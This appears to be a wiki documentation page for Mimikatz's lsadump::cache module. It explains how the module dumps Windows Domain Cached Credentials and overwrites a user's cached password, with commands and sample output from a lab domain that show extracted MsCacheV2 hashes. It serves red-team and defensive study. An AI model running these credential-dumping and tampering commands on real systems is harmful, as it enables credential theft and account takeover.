cache

lsadump::cache can be used to enumerate Domain Cached Credentials from registry. It does so by acquiring the SysKey to decrypt NL$KM (binary protected value) and then MSCache(v1/v2).

The registry key for the Domain Cached Credentials is HKEY_LOCAL_MACHINE\SECURITY\Cache

The number of cached entries is defined in CachedLogonCount in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

It has the following command line arguments:

  • /sam: the SAM hive

  • /system: The SYSTEM hive

  • /security: The SECURITY hive

  • /user: An existing username to modify the cached credentials

  • /password: The new password of the specified user

  • /dcc: The MS-Cache hash to be replaced

  • /ntlm: The NTLM hash which will calculate the MS-Cache

  • /kiwi: Undocumented parameter which modifies the user's cached password to mimikatz

  • /subject: The subject's certificate name. This name must conform to the X.500 standard. The simplest method is to specify the name in double quotes, preceded by CN= (e.g. CN=myName) (more info).

LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "ntlm" refers to the NT hash.

(more information)

This command requires elevated privileges (by previously running privilege::debug or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).

mimikatz # lsadump::cache
Domain : WIN10
SysKey : 7e6804db6db0bbc15372ddf840962151

Local name : WIN10 ( S-1-5-21-1604892360-3618202543-1602915806 )
Domain name : hacklab ( S-1-5-21-2725560159-1428537199-2260736313 )
Domain FQDN : hacklab.local

Policy subsystem is : 1.18
LSA Key(s) : 1, default {9b57ea93-9de6-5d50-0497-034513ddc692}
  [00] {9b57ea93-9de6-5d50-0497-034513ddc692} 62dd3714cc6d8e08f2c90bb18d949eb4e7fddb2478342640c5dc78a68d165e05

* Iteration is set to default (10240)

[NL$1 - 10/30/2021 8:53:10 PM]
RID       : 000006c2 (1730)
User      : hacklab\m3g9tr0n
MsCacheV2 : 7d3fb233bff87d75413d2c813df73fec

[NL$2 - 9/26/2021 2:46:02 PM]
RID       : 000001f4 (500)
User      : hacklab\Administrator
MsCacheV2 : fadb59e7f2f9a9bf6557ad4fa09e828f

[NL$3 - 10/18/2021 3:56:38 PM]
RID       : 000006c4 (1732)
User      : hacklab\optimus
MsCacheV2 : 98982877b0b57416d47a9a8f21331536

Modify a DCC with /kiwi

mimikatz # lsadump::cache /user:hacklab\optimus /kiwi
> User cache replace mode !
  * user     : hacklab\optimus
  * password : mimikatz <-------------------- Default Password
  * ntlm     : 60ba4fcadc466c7a033c178194c03df6

Domain : WIN10
SysKey : 7e6804db6db0bbc15372ddf840962151

Local name : WIN10 ( S-1-5-21-1604892360-3618202543-1602915806 )
Domain name : hacklab ( S-1-5-21-2725560159-1428537199-2260736313 )
Domain FQDN : hacklab.local

...Output Omitted...

When changing the cached password for a user, all the related DPAPI data will be affected.

Modify a DCC with /ntlm

mimikatz # lsadump::cache /user:hacklab\optimus /ntlm:647d6f9b59c899c5fe4dad779522b8c5
> User cache replace mode !
  * user     : hacklab\optimus
  * ntlm     : 647d6f9b59c899c5fe4dad779522b8c5

Domain : WIN10
SysKey : 7e6804db6db0bbc15372ddf840962151
PreviousbackupkeysNextchangentlm

Last updated